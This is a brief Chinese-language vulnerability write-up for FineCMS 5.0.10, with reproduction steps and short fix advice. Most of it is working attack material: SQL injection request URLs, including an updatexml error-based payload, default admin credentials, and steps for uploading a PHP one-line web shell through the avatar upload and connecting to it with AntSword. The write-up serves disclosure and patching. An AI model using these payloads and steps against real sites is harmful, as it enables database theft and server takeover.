漏洞描述:
FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统。其5.0.10版本存在任意文件上传和SQL注入漏洞。
其中任意文件上传漏洞在上传用户头像处,可通过上传一句话木马,修改数据包内容,获取网站Shell。而SQL注入漏洞则可以通过注入获取到管理员的账号密码。
复现过程:
1.访问http://ip:port,进入登录界面
2.爆破当前用户
index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql sql='select user();'
3.通过报错注入查询当前用户
index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))q
4.登录后台
账号:admin
密码:admin
5.点击上传头像,上传一个jpg图片,并抓包
6.修改jpeg为php,并将文件内容改为php一句话木马,并对其进行base64编码
7.在此处右键,获取图片位置
8.蚁剑连接,getshell
修复建议:
- 升级版本。
- 使用白名单。
- 对提交的参数信息进行过滤。